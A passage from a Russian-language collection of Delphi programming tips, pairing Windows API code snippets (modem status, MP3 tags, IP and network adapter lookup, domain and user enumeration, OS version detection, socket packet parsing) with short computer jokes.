            N.Free;
          end;
        end;
    end;
  finally
    R.Free;
  end;
end;

Как определить состояние модема под Win32.

Статьи по Delphi (008)…
Пришел Новый Русский в компьютерный магазин и спрашивает: - Братан, кто у вас тут самый крутой? Процессор? - Нет. - А может это... Материнская плата?? - Нет. - Хммм... Блин... А кто же??? - Модем. - Он наверно такой умный??? - Да нет. - А чеее тогда? - У него такие связи!
procedure TForm1.Button1Click(Sender: TObject);
var
  CommPort : string;
  hCommFile : THandle;
  ModemStat : DWord;
begin
  CommPort := 'COM2';
  {Open the comm port}
  hCommFile := CreateFile(PChar(CommPort), GENERIC_READ, 0, nil,
  OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  if hCommFile = INVALID_HANDLE_VALUE then
  begin
    ShowMessage('Unable to open '+ CommPort);
    exit;
  end;
  {Get the Modem Status}
  if GetCommModemStatus(hCommFile, ModemStat) <> false then
  begin
    if ModemStat and MS_CTS_ON <> 0 then
      ShowMessage('The CTS (clear-to-send) is on.');
    if ModemStat and MS_DSR_ON <> 0 then
      ShowMessage('The DSR (data-set-ready) is on.');
    if ModemStat and MS_RING_ON <> 0 then
      ShowMessage('The ring indicator is on.');
    if ModemStat and MS_RLSD_ON <> 0 then
      ShowMessage('The RLSD (receive-line-signal-detect) is on.');
  end;
  {Close the comm port}
  CloseHandle(hCommFile);
end;

Получение имени модуля.

Валентин Озеров

procedure TForm1.Button1Click(Sender: TObject);
var
  szFileName : array[0..49] of char;
  szModuleName : array[0..19] of char;
  iSize : integer;
begin
  StrPCopy(szModuleName, 'NameOfModule');
  iSize := GetModuleFileName(GetModuleHandle(szModuleName),szFileName,
    SizeOf(szFileName));
  if iSize > 0 then
    ShowMessage('Имя модуля с полным путем: ' + StrPas(szFileName))
  else
    ShowMessage('Имя модуля не встречено');
end;

Андрей Иванов.

procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowMessage(ParamStr(0));
end;

Степанова Павла.

// Включить в Uses SysUtils
procedure TMainForm.Button2Click(Sender: TObject);
var 
  AppDirectory, AppPathName: string;
begin
  AppPathName := Application.ExeName;
  AppDirectory := ExtractFilePath(AppPathName);
  messageDlg('Имя программы '+ AppPathName+#13+
    'Имя каталога программы '+ AppDirectory
    ,mtInformation,[mbOK],0);
end; 

Получение MP3 тэга.

Автор: Victor WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение MP3 тэга
Функция получает ID3v1 тэг из указанного mp3-файла.
Зависимости: uses System :)
Автор:       Victor, zazoo@ukr.net, ICQ:149676405, Киев
Copyright:   Собственное написание
Дата:        06 мая 2002 г.
***************************************************** }
type
  TMP3Tag = record
    FileName, Title, Artist, Album, Year, Comment: string;
  end;
function GetMP3Tag(fn: string): TMP3Tag;
var
  tag: array[0..127] of char;
  f: file;
  i: byte;
  s: string;
  procedure DelSpace(var s: string);
  begin // Удаляет пробелы и символы
    // #0 в конце строки.
    if length(s) = 0 then
      exit;
    while s[length(s)] in [' ', #0] do
    begin
      delete(s, length(s), 1);
      if s = '' then
        break;
    end;
  end;
begin
  result.FileName := fn;
  result.Title := '';
  result.Artist := '';
  result.Album := '';
  result.Year := '';
  result.Comment := '';
  AssignFile(F, fn); // Открываем файл
{$I-} // с проверкой его существования :)
  Reset(F, 1);
  Seek(F, FileSize(F) - 128); // Читаем тэг - последние 128 байт
  BlockRead(f, tag, 128);
  CloseFile(F);
{$I+}
  if IOResult <> 0 then
  begin
    exit;
  end;
  s := '';
  for i := 0 to 127 do
    s := s + tag[i];
  if copy(s, 1, 3) = 'TAG' then // В файле есть тэг - разбираем его
  begin
    result.Title := copy(s, 4, 30);
    DelSpace(result.title);
    result.Artist := copy(s, 34, 30);
    DelSpace(result.artist);
    result.Album := copy(s, 64, 30);
    DelSpace(result.album);
    result.Year := copy(s, 94, 4);
    DelSpace(result.year);
    result.Comment := copy(s, 98, 30);
    DelSpace(result.comment);
  end;
end;

Пример использования:

var
  Tag: TMP3Tag;
begin
  if OpenDialog1.Execute then
    Tag := GetMP3Tag(OpenDialog1.FileName);
end;

Получить язык MS Word.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

// Question: 
// How can I read the default language of installed MS Word application? 
// Answer: 
// You may initialize Word.Application instance and read a CountryID: 
var
   word: OLEVariant;
 begin
   word := CreateOLEObject('Word.Application');
   CountryID := word.System.Country;
   word.Quit;
   word := UnAssigned;
 end;
 // After that check this CountryID with next values: 
  wdUS = $00000001;
   wdCanada = $00000002;
   wdLatinAmerica = $00000003;
   wdNetherlands = $0000001F;
   wdFrance = $00000021;
   wdSpain = $00000022;
   wdItaly = $00000027;
   wdUK = $0000002C;
   wdDenmark = $0000002D;
   wdSweden = $0000002E;
   wdNorway = $0000002F;
   wdGermany = $00000031;
   wdPeru = $00000033;
   wdMexico = $00000034;
   wdArgentina = $00000036;
   wdBrazil = $00000037;
   wdChile = $00000038;
   wdVenezuela = $0000003A;
   wdJapan = $00000051;
   wdTaiwan = $00000376;
   wdChina = $00000056;
   wdKorea = $00000052;
   wdFinland = $00000166;
   wdIceland = $00000162;

Определение своего IP адреса.

Из воспоминай системного администратора. "Все что я помню об этой девушке, это ее IP-адрес..."
function my_ip_address: longint;
const
  bufsize = 255;
var
  buf: pointer;
  RemoteHost: PHostEnt; (* Не освобождайте это! *)
begin
  buf := nil;
  try
    getmem(buf, bufsize);
    winsock.gethostname(buf, bufsize); (* это может работать и без сети *)
    RemoteHost := Winsock.GetHostByName(buf);
    if RemoteHost = nil then
      my_ip_address := winsock.htonl($07000001) (* 127.0.0.1 *)
    else
      my_ip_address := longint(pointer(RemoteHost^.h_addr_list^)^);
  finally
    if buf <> nil then
      freemem(buf, bufsize);
  end;
  result := winsock.ntohl(result);
end;
Вначале возвращается локальный сетевой адрес компьютера, а затем, если он не равен 127.0.0.1, стандартный IP адрес.

Единственное, что вам необходимо, это наличие winsock.dcu/winsock.pas, так как это не включается в поставку Delphi 1.; необходимый мне код я взял из tcpip component pack (просто вырезал его оттуда).

Извлечь адреса сетевых карт.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{for NT4 and Windows 2000, and you must have Admin privileges}
 {fьг NT4 und Windows 2000, und Adminrechte erforderlich}
 uses
  Registry;
 const
   nString = 'SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NetworkCards';
   nEthernet = 'Ethernet';
   nEtherjet = 'Etherjet'; {if Hardware IBM PL300 with Chip 10/100}
   nTcpIp1 = 'SYSTEM\CurrentControlSet\Services\';
   nTcpIp2 = '\Parameters\Tcpip';
 var
   reg: TRegistry;
   buffer1, buffer2, buffer3: array [1..32] of Char;
   i: Integer;
   ipaddress, subnetmask, DefaultGateway: string;
   Adapter, Adapter_Key: string;
   stringlist: TStrings;
 function search_adapter_key: string;
 var
   astring, description, st: string;
   nPos: integer;
   ServiceName: string;
 begin
   reg := TRegistry.Create;
   stringlist  := TStringList.Create;
   reg.RootKey := HKEY_LOCAL_MACHINE;
   reg.OpenKey(nString, False);
   reg.GetKeyNames(stringlist);    {search all subkeys 
                                   such alle иntегsсh1ьssе1}
   reg.CloseKey;
   for i := 0 to (stringlist.Count - 1) do
   begin
     st := stringlist[i];
     aString := nString + '\' + st;
     reg := TRegistry.Create;
     reg.RootKey := HKEY_LOCAL_MACHINE;
     reg.OpenKey(aString, False);
     description := reg.ReadString('Description');
     nPos:= AnsiPos(nEthernet, description); {search description for string Ethernet 
                                             Beschreibung nach dem string Ethernet absuchen}
     if nPos > 0 then
     begin
       ServiceName := reg.ReadString('ServiceName');
       Adapter_Key := nTcpIp1 + ServiceName + nTcpIp2;
     end;
     nPos := AnsiPos(nEtherjet, description); {search description for string 'Etherjet 
                                              if IBM PL300 with MotherboardChip}
     if nPos > 0 then
     begin
       ServiceName := reg.ReadString('ServiceName');
       Adapter_Key := nTcpIp1 + ServiceName + nTcpIp2;
     end;
     reg.CloseKey;
   end;
   Result := Adapter_Key;
 end;
 procedure search_for_adapter_NT;
 var
   BufSize: Integer;    {Bufsize requested but not used 
                        Bufsize erforderlich aber nicht benutzt}
 begin
   adapter := search_adapter_key;
   if adapter <> '' then
   begin
     Reg := TRegistry.Create;
     try
       Reg.RootKey := HKEY_LOCAL_MACHINE;
       Reg.OpenKey(adapter, False);
       Reg.ReadBinaryData('IpAddress', buffer1, BufSize);
     finally
       Reg.CloseKey;
       Reg.Free;
     end;
     Reg := TRegistry.Create;
     try
       Reg.RootKey := HKEY_LOCAL_MACHINE;
       Reg.OpenKey(adapter, False);
       Reg.ReadBinaryData('SubnetMask', buffer2, BufSize);
     finally
       Reg.CloseKey;
       Reg.Free;
     end;
     Reg := TRegistry.Create;
     try
       Reg.RootKey := HKEY_LOCAL_MACHINE;
       Reg.OpenKey(adapter, False);
       Reg.ReadBinaryData('DefaultGateway', buffer3, BufSize);
     finally
       Reg.CloseKey;
       Reg.Free;
     end;
   end;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   Memo1.Clear;
   search_for_adapter_NT;
   Memo1.Lines.Add(buffer1);
   Memo1.Lines.Add(buffer2);
   Memo1.Lines.Add(buffer3);
 end;

Получить список доменов.

Бог есть. Он просто администрит другой домен...

Переменная List заполняется списком доменов. Функция возвращает код ошибки обращения к сети.

function FillNetLevel(xxx: PNetResource; list: TStrings): Word;
type
  PNRArr = ^TNRArr;
  TNRArr = array[0..59] of TNetResource;
var
  x: PNRArr;
  tnr: TNetResource;
  I: integer;
  EntrReq,
    SizeReq,
    twx: Integer;
  WSName: string;
begin
  Result := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY,
    RESOURCEUSAGE_CONTAINER, xxx, twx);
  if Result = ERROR_NO_NETWORK then
    Exit;
  if Result = NO_ERROR then
  begin
    New(x);
    EntrReq := 1;
    SizeReq := SizeOf(TNetResource) * 59;
    while (twx < > 0) and
      (WNetEnumResource(twx, EntrReq, x, SizeReq) <> ERROR_NO_MORE_ITEMS) do
    begin
      for i := 0 to EntrReq - 1 do
      begin
        Move(x^[i], tnr, SizeOf(tnr));
        case tnr.dwDisplayType of
          RESOURCEDISPLAYTYPE_DOMAIN:
            begin
              if tnr.lpRemoteName < > '' then
                WSName := tnr.lpRemoteName
              else
                WSName := tnr.lpComment;
              list.Add(WSName);
            end;
        else
          FillNetLevel(@tnr, list);
        end;
      end;
    end;
    Dispose(x);
    WNetCloseEnum(twx);
  end;
end;

Получение имени компьютера в локальной сети по его IP адресу.

Автор: Savva WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение имени компьютера в локальной сети по его IP адресу
Получение имени компьютера в локальной сети по его IP адресу.
Зависимости: SysUtils, Winsock
Автор:       savva, savva@nm.ru, ICQ:126578975, Орел
Copyright:   Сапронов Алексей (Savva)
Дата:        6 июня 2002 г.
***************************************************** }
function IPAddressToNetworkName(IPAddr: string): string;
var
  SockAddrIn: TSockAddrIn;
  HostEnt: PHostEnt;
  WSAData: TWSAData;
begin
  WSAStartup($101, WSAData);
  SockAddrIn.sin_addr.s_addr := inet_addr(PChar(IPAddr));
  HostEnt := gethostbyaddr(@SockAddrIn.sin_addr.S_addr, 4, AF_INET);
  if HostEnt <> nil then
  begin
    result := StrPas(Hostent^.h_name)
  end
  else
  begin
    result := '';
  end;
end;

Пример использования:

ShowMessage(IPAddressToNetworkName('ХХХ.ХХХ.ХХХ.ХХХ')); 

Получение сетевого имени пользователя.

Защита от "дурака" спасает только от неизобретательного дурака.

Вы можете попробовать этот код. Я без проблем использовал его под Netware LAN в течение долгого времени. Работа программы зависит от наличия NWCALLS.DLL на машине пользователя, но если он использовал сеть хоть раз, данная библиотека должна присутствовать на его машине.

unit GetLogin;
{
Данный модуль инкапсулирует несколько внешних
функций библиотеки NWCALLS.DLL
Создан на основе кода Григория Трубецкого
Модуль содержит функции, возвращающие Netware User ID
и полное имя пользователя.
}
interface
uses
  SysUtils, Messages, Dialogs;
function GetUserLogin: string;
function GetUserFullName(SomeUser: string): string;
implementation
type
  NWTimeStamp = record
    Year: byte;
    Month: byte;
    Day: byte;
    Hour: byte;
    Minute: byte;
    Second: byte;
    DayOfWeek: byte;
  end;
  {Netware API - требуется NWCALLS.DLL}
function NWGetDefaultConnectionID(var Connection: word): word;
  far; external 'NWCALLS';
function NWGetConnectionNumber(Connection: word; var ConnectionNumber:
  word): word;
far; external 'NWCALLS';
function NWGetConnectionInformation(Connection: word;
  ConnectionNumber: word;
  ObjectName: pchar;
  var ObjectType: word;
  var ObjectID: word;
  var LoginTime: NWTimeStamp): word;
  far; external 'NWCALLS';
function NWReadPropertyValue(Connection: word;
  ObjectName: pChar;
  ObjectType: word;
  PropertyName: pChar;
  DataSetIndex: byte;
  DataBuffer: pChar;
  var More: byte;
  var Flags: byte): word;
  far; external 'NWCALLS';
{ конец секции работы с Netware API }
function GetUserLogin: string;
var
  ConnectionID: word;
  ConnectionNumber: word;
  RC: word;
  Name: array[0..50] of Char;
  ObjectType: word;
  ObjectID: word;
  LoginTime: NWTimeStamp;
begin
  RC := NWGetDefaultConnectionID(ConnectionID);
  RC := NWGetConnectionNumber(ConnectionID, ConnectionNumber);
  RC := NWGetConnectionInformation(ConnectionID,
    ConnectionNumber,
    Name,
    ObjectType,
    ObjectID,
    LoginTime);
  Result := StrPas(Name);
end;
function GetUserFullName(SomeUser: string): string;
{Реально имя пользователя является свойством 'IDENTIFICATON'.
Вы должны вызывать NWReadPropertyValue с параметрами (между прочим) вашего ConnectionID,
имени объекта (такое же, как и логин пользователя, сетевое имя которого мы пытаемся узнать)
и свойство name, которое нам необходимо получить, в нашем случае 'IDENTIFICATION'
(это и есть искомая величина - полное имя пользователя).}
var
  ConnectionID: word;
  RC: word;
  Name: array[0..50] of Char;
  ObjectType: word;
  PropName: array[0..14] of Char;
  DataSetIndex: byte;
  FullName: array[0..127] of Char;
  More: byte;
  Flags: byte;
begin
  RC := NWGetDefaultConnectionID(ConnectionID);
  ObjectType := 256; {пользователь}
  StrPCopy(PropName, 'IDENTIFICATION');
  DataSetIndex := 1;
  StrPCopy(Name, SomeUser);
  RC := NWReadPropertyValue(ConnectionID,
    Name,
    ObjectType,
    PropName,
    DataSetIndex,
    FullName,
    More,
    Flags);
  if RC = 35324 then
    MessageDlg('Пользователь ' + SomeUser + ' на этом сервере не обнаружен!',
      mtError, [mbOK], 0);
  Result := StrPas(FullName);
end;
end.

Автоматическое получение следующего имени файла в каталоге.

Автор: Igor Kovalevsky WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Автоматическое получение следующего имени файла в каталоге
Функция предоставляет Вам каждый раз новое имя файла,
а если список файлов исчерпан, начинает перебор снова.
Может пригодиться при написании Вашего собственного
слайдшоу с фотографиями или в похожих задачах, где
важно не повторить до конца списка уже воспроизведённый файл.
Зависимости: Windows, Messages, SysUtils, Classes, DIALOGS;
Автор:       Igor Kovalevsky, pc-ambulance@mail.ru, Владикавказ
Copyright:   Igor Kovalevsky
Дата:        1 июня 2002 г.
***************************************************** }
function GetNextFileName(Path: string): string;
const
  ListFileName = 'ListFile.lst';
  FileMask = '*.*'
  var
  SearchRec: TSearchRec;
begin
  with TStringList.Create do
  begin
    if FileExists(ListFileName) then
    begin
      LoadFromFile(ListFileName);
    end;
    if FindFirst(IncludeTrailingBackslash(Path) + FileMask,
      faAnyFile and not faDirectory,
      SearchRec) = 0 then
    begin
      // Редкий случай, когда цикл repeat..until
      // на что-то годится
      repeat
        Result := SearchRec.Name;
        if (FindNext(SearchRec) <> 0) then
        begin
          Clear;
        end;
      until (IndexOf(Result) = -1);
      Add(Result);
      FindClose(SearchRec);
    end
    else
    begin
      Result := '';
    end;
    SaveToFile(ListFileName);
    Free;
  end;
end;

Пример использования:

ShowMessage(GetNextFileName('C:\Windows\'));

Как получить число и список всех компонентов, расположенных на TNoteBook.

Warp 4 спрашивает у хозяина: - Хозяяяин, а у меня в роду была DesqView? - Нет, не было. - Хозяяяин, а Windows 3.1 у меня в роду не было? - Нет, конечно не было. - Хозяяяяин, а почему же тогда я такой тормозноооой?
procedure TForm1.Button1Click(Sender: TObject);
var
  n, p: integer;
begin
  ListBox1.Clear;
  with Notebook1 do
    for n := 0 to ControlCount - 1 do
      with TPage(Controls[n]) do
      begin
        ListBox1.Items.Add('Notebook Page: ' + TPage(Notebook1.Controls[n]).Caption);
        for p := 0 to ControlCount - 1 do
          ListBox1.Items.Add(Controls[p].name);
        ListBox1.Items.Add(EmptyStr);
      end;
end;

Как узнать имя домена Windows NT-2000.

Статьи по Delphi (008)…
- Мы с другом поставили Windows' 2000 и тормознули крутейший PentiumIII-600!
function GetNTDomainName: string;
var
  hReg: TRegistry;
begin
  hReg := TRegistry.Create;
  hReg.RootKey := HKEY_LOCAL_MACHINE;
  hReg.OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', false );
  Result := hReg.ReadString( 'DefaultDomainName' );
  hReg.CloseKey;
  hReg.Destroy;
end;

Получить список зарегистрированных под NT пользователей.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

// The NetUserEnum function provides information about all user accounts on a server. 
type
   USER_INFO_1 = record
     usri1_name: LPWSTR;
     usri1_password: LPWSTR;
     usri1_password_age: DWORD;
     usri1_priv: DWORD;
     usri1_home_dir: LPWSTR;
     usri1_comment: LPWSTR;
     usri1_flags: DWORD;
     usri1_script_path: LPWSTR;
   end;
   lpUSER_INFO_1 = ^USER_INFO_1;
 function NetUserEnum(ServerName: PWideChar;
   Level,
   Filter: DWORD;
   var Buffer: Pointer;
   PrefMaxLen: DWORD;
   var EntriesRead,
   TotalEntries,
   ResumeHandle: DWORD): Longword; stdcall; external 'netapi32.dll';
 function NetApiBufferFree(pBuffer: PByte): Longint; stdcall; external
 'netapi32.dll';
 {...}
 procedure TForm1.Button1Click(Sender: TObject);
 var
   EntiesRead: DWORD;
   TotalEntries: DWORD;
   UserInfo: lpUSER_INFO_1;
   lpBuffer: Pointer;
   ResumeHandle: DWORD;
   Counter: Integer;
   NetApiStatus: LongWord;
 begin
   ResumeHandle := 0;
   repeat
     // NetApiStatus := 
    // NetUserEnum(PChar('\\NT-Domain'), 1, 0, lpBuffer, 0,EntiesRead, TotalEntries, ResumeHandle); 
    NetApiStatus := NetUserEnum(nil, 1, 0, lpBuffer, 0, EntiesRead,
       TotalEntries, ResumeHandle);
     UserInfo     := lpBuffer;
     for Counter := 0 to EntiesRead - 1 do
     begin
       listbox1.Items.Add(WideCharToString(UserInfo^.usri1_name) + ' --> ' +
         WideCharToString(UserInfo^.usri1_comment));
       Inc(UserInfo);
     end;
     NetApiBufferFree(lpBuffer);
   until (NetApiStatus <> ERROR_MORE_DATA);
 end;

Как получить количество цветов в системной палитре.

Оформил: DeeCo

Функция GetNumColors возвращает количество цветов для актуально выбранного разрешения экрана.
function GetNumColors: LongInt;
var
  BPP: Integer;
  DC: HDC;
begin
  DC := CreateDC('DISPLAY', nil, nil, nil);
  if DC <> 0 then
  begin
    try
      BPP := GetDeviceCaps(DC, BITPIXEL) * GetDeviceCaps(DC, PLANES);
    finally
      DeleteDC(DC);
    end;
    case BPP of
      1: Result := 2;
      4: Result := 16;
      8: Result := 256;
      15: Result := 32768;
      16: Result := 65536;
      24: Result := 16777216;
    end;
  end
  else
    Result := 0;
end;

Получение интерфейса объекта из OleVariant.

Microsoft выпускает новый многосерийный триллер: OLE OLE 2 OLE Возвращается

В примерах Delphi по использованию COM-объектов, как правило, используется примерно следующая конструкция:

var
  _ComServer: variant;
begin
  _ComServer := CreateComObject(CLSID_ComServer);
  // что-то делаем с COM-объектом
  _ComServer.DoSomething;
end;

Здесь после создания объекта вызывается некоторый гипотетический метод созданного объекта - DoSomething. После создания объекта можно также изменять значения его свойств, передавать его в качестве параметра в другие методы и процедуры и пр. Единственное видимое неудобство заключается в том, что при использовании переменной типа вариант компилятор не в состоянии проверить синтаксическую корректность обращений к объекту и, соответственно, в редакторе Delphi не работает on-line подстановка (когда вы, например, вводите точку после имени переменной объектного типа, редактор выводит окно с перечнем наиболее подходящих свойств и методов объекта).

Применение переменных типа интерфейс устраняют это неудобство. Достаточно написать так (в предположении, что действительно существует интерфейс IMyInterface):

var
  _ComServer: variant;
begin
  _ComServer := CreateComObject(CLSID_ComServer);
  // что-то делаем с COM-объектом
  _ComServer.DoSomething;
end;

Кроме того, что компилятор теперь совершенно четко понимает, какого типа переменная используется и что с ней можно делать, "за кулисами" происходит еще и повышение быстродействия работы с объектом, т.к. в первом случае вся работа с объектом осуществляется опосредованно через метод Invoke его интерфейса IDispatch (любознательные читатели могут более подробно прочитать про IDispatch в справочной системе Delphi и MSDN).

Если же объект передается в какой-либо модуль через переменную (параметр) типа Variant (OleVariant), то, к сожалению, Delphi опять возвращает все на круги своя (см. пример 1). Для того, чтобы получить из Variant требуемый типизованный интерфейс, достаточно выполнить простейшее преобразование:

procedure MyProc(_MyObject: variant);
var
  _ComServer: IMyInterface;
begin
  _ComServer := IMyInterface(TVarData(_MyObject).VUnknown);
  // что-то делаем с COM-объектом
  _ComServer.DoSomething;
end;

Можно усилить контроль за передаваемым объектом, проверяя тип данных в variant:

procedure MyProc(_MyObject: variant);
var
  _ComServer: IMyInterface
begin
  if (VarType(_MyObject) and varUnknown) = varUnknown then
  begin
    _ComServer := IMyInterface(TVarData(_MyObject).VUnknown);
    // что-то делаем с COM-объектом
    _ComServer.DoSomething;
  end;
end;

Можно использовать еще более строгую проверку наличия в variant ожидаемого интерфейса:

procedure MyProc(_MyObject: variant);
var
  _ComServer: IMyInterface;
  _IUnknown: IUnknown;
begin
  if (VarType(_MyObject) and varUnknown) = varUnknown then
  begin
    _IUnknown := IUnknown(TVarData(_MyObject).VUnknown);
    if _IUnknown.QueryInterface(IID_IMyInterface, _ComServer) = S_OK then
      // что-то делаем с COM-объектом
      _ComServer.DoSomething;
  end;
end;

Получаем имена ODBC-источников.

uses Registry; 
procedure TForm1.GetDataSourceNames(System: Boolean); 
var 
  reg: TRegistry; 
begin 
  ListBox1.Items.Clear; 
  reg := TRegistry.Create; 
  try 
    if System then 
      reg.RootKey := HKEY_LOCAL_MACHINE 
    else 
      reg.RootKey := HKEY_CURRENT_USER; 
    if reg.OpenKey('\Software\ODBC\ODBC.INI\ODBC Data Sources', False) then 
    begin 
      reg.GetValueNames(ListBox1.Items); 
    end; 
  finally 
    reg.CloseKey; 
    FreeAndNil(reg); 
  end; 
end; 
procedure TForm1.Button1Click(Sender: TObject); 
begin 
  //Системные DSNs 
  GetDataSourceNames(True); 
  //Пользовательские DSNs 
  GetDataSourceNames(False); 
end;

Получение информации о типе и версии операционной системы.

Автор: Игорь Шевченко WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение информации о типе и версии операционной системы
Опеределение типа установленной операционной системы
Зависимости: Windows
Автор:       Игорь Шевченко, whitefranz@hotmail.com, Москва
Copyright:   Игорь Шевченко
Дата:        26 апреля 2002 г.
***************************************************** }
unit HSWinFuncs;
interface
uses
  Windows;
const
  VER_NT_WORKSTATION = 0;
  VER_NT_DOMAIN_CONTROLLER = 1;
  VER_NT_SERVER = 2;
  VER_SUITE_SMALLBUSINESS = 1;
  VER_SUITE_ENTERPRISE = 2;
  VER_SUITE_BACKOFFICE = 4;
  VER_SUITE_COMMUNICATIONS = 8;
  VER_SUITE_TERMINAL = $10;
  VER_SUITE_SMALLBUSINESS_RESTRICTED = $20;
  VER_SUITE_EMBEDDEDNT = $40;
  VER_SUITE_DATACENTER = $80;
  VER_SUITE_SINGLEUSERTS = $100;
  VER_SUITE_PERSONAL = $200;
  VER_SUITE_BLADE = $400;
type
  TOsVersionInfoExA = packed record
    old: TOsVersionInfoA;
    wServicePackMajor: Word;
    wServicePackMinor: Word;
    {
     wSuiteMask
     Набор битовых флагов, определяющих компоненты Windows
     VER_SUITE_BACKOFFICE Установлен компонент Microsoft BackOffice.
     VER_SUITE_BLADE Установлен компонент Windows .NET Web Server.
     VER_SUITE_DATACENTER Установлена Windows 2000 или компонент Windows .NET
       Datacenter Server
     VER_SUITE_ENTERPRISE Установлена Windows 2000 Advanced Server или компонент
       Windows .NET Enterprise Server.
     VER_SUITE_PERSONAL Установлена Windows XP Home Edition.
     VER_SUITE_SMALLBUSINESS Установлен Microsoft Small Business Server.
     VER_SUITE_SMALLBUSINESS_RESTRICTED Установлен Microsoft Small Business
       Server с ограничительной лицензией для клиентов
     VER_SUITE_TERMINAL Установлен компонент Terminal Services.
    }
    wSuiteMask: Word;
    {wProductType
    Дополнительная информация о типе операционной системы
    VER_NT_WORKSTATION Операционная система Windows NT 4.0 Workstation,
                                            Windows 2000 Professional,
                                            Windows XP Home Edition, или
                                            Windows XP Professional.
    VER_NT_DOMAIN_CONTROLLER Операционная система является контроллером домена.
    VER_NT_SERVER Операционная система является сервером.
    }
    wProductType: Byte;
    wReserved: Byte;
  end;
function WhatWindowsIsInstalled: string;
implementation
{ Определение типа установленной операционной системы }
function WhatWindowsIsInstalled: string;
var
  VerInfo: TOsVersionInfoExA;
begin
  FillChar(VerInfo, sizeof(VerInfo), 0);
  VerInfo.old.dwOSVersionInfoSize := Sizeof(TOsVersionInfoExA);
  if not GetVersionExA(VerInfo.old) then
  begin
    VerInfo.old.dwOSVersionInfoSize := Sizeof(TOsVersionInfoA);
    GetVersionExA(VerInfo.old);
  end;
  case VerInfo.old.dwPlatformId of
    VER_PLATFORM_WIN32_WINDOWS:
      if (Verinfo.old.dwMajorVersion = 4) and
        (Verinfo.old.dwBuildNumber = 950) then
        Result := 'Windows 95'
      else if (Verinfo.old.dwMajorVersion = 4) and
        (Verinfo.old.dwMinorVersion = 10) and
        (Verinfo.old.dwBuildNumber = 1998) then
        Result := 'Windows 98'
      else if (Verinfo.old.dwMinorVersion = 90) then
        Result := 'Windows Me';
    VER_PLATFORM_WIN32_NT:
      if Verinfo.old.dwMajorVersion = 3 then
        Result := 'Windows NT 3.51'
      else if Verinfo.old.dwMajorVersion = 4 then
        Result := 'Windows NT 4.0'
      else if Verinfo.old.dwMajorVersion = 5 then
        if Verinfo.old.dwMinorVersion = 0 then
          Result := 'Windows 2000'
        else if Verinfo.old.dwMinorVersion = 1 then
          Result := 'Windows XP';
    VER_PLATFORM_WIN32s:
      Result := 'Win32s';
  end;
end;
end.

Пример использования:

procedure TfrmMain.FormCreate(Sender: TObject);
begin
  WindowsTypeEdit.Text := WhatWindowsIsInstalled();
end;

Получить иконку чужого окна.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
First Start Notepad.exe and run this code: 
Starte zuerst Notepad.exe und fьhге dann diesen Code aus: 
}
 procedure TForm1.Button1Click(Sender: TObject);
 var
   hwindow : THandle;
   H: HIcon;
 begin
   hwindow := FindWindow('notepad',nil);
   H := CopyIcon(GetClassLong(hwindow, GCL_HICON ));
   DrawIcon(Canvas.Handle, 30, 30, H);
 end;

Как определить свой IP адрес.

По нику встречают, по IP провожают.
uses
  WinSock;
function GetLocalIP: String;
const WSVer = $101;
var
  wsaData: TWSAData;
  P: PHostEnt;
  Buf: array [0..127] of Char;
begin
  Result := '';
  if WSAStartup(WSVer, wsaData) = 0 then begin
    if GetHostName(@Buf, 128) = 0 then begin
      P := GetHostByName(@Buf);
      if P <> nil then Result := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
    end;
    WSACleanup;
  end;
end;

Нахождения собственного IP.

Автор: http://delphi.mastak.ru

var
  WSAData: TWSAData;
  SockAddrIn: TSockAddrIn;
  Host: PHostEnt;
  // Эти переменные объявлены в Winsock.pas
begin
  if WSAStartup($101, WSAData) = 0 then
  begin
    Host := GetHostByName(@Localname[1]);
    if Host <> nil then
    begin
      SockAddrIn.sin_addr.S_addr := longint(plongint(Host^.h_addr_list^)^);
      LocalIP := inet_ntoa(SockAddrIn.sin_addr);
    end;
    WSACleanUp;
  end;
end;

Приём и обработка пакетов переданных методом SendText - с учётом склеенных и полученных неполностью пакетов.

Автор: VID WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Приём и обработка пакетов переданных методом SendText() -
с учётом "склеенных" и полученных неполностью пакетов.
Юнит RecvPckt предназначен для приёма текста, передаваемого с помощью метода SendText
объекта Socket:TCustomWinSocket. Данный юнит может использоваться как клиентом так
и сервером для обработки принятого пакета.
Функции данного юнита предусматривают возможность получения "склеенных" пакетов,
или пакетов, пришедших не полностью.
Тип TBuffer;
FBuffer - хранит в себе принимаемый пакет
FCurrentPacketSize = храни сведения о полной длине пакета.
Описание функций и процедур, необходимых для использования в других юнитах
Procedure ClearBuffer(var ABuffer:TBuffer);
Очищает буффер FBuffer и обнуляет значение FCurrentPacketSize;
Function ProcessReceivedPacket(var ABuffer:TBuffer; var APacket:String):Boolean;
В данную функцию передаётся полученный от клиента/сервера пакет, через аргумент APacket
Принцип работы этой функции заключается в накоплении получаемого текста в поле
FBuffer объекта ABuffer. В случае когда FBuffer будет содержать полностью весь пакет,
функция возвратит True, иначе возвращает False
Функция ОТПРАВКИ текста:
Function SendTextToSocket(Socket:TCustomWinSocket; Text:String):Integer;
Var S:String;
begin
Result := -1;
IF Text = '' then exit;
IF Socket.Connected then
begin
S:=IntToStr(Length(Text));
Result := Socket.SendText(S+'#'+Text);
end;
end;
Зависимости: sysutils
Автор:       VID, snap@iwt.ru, ICQ:132234868, Махачкала
Copyright:   VID
Дата:        30 сентября 2002 г.
***************************************************** }
unit RecvPckt;
interface
uses
  SysUtils;
type
  TReadHeaderResult = record
    FPacketSize: Integer;
    FPacketSizeStr: string;
    FTextStartsAt: Integer;
  end;
type
  TBuffer = record
    FBuffer: string;
    FHeaderBuffer: string;
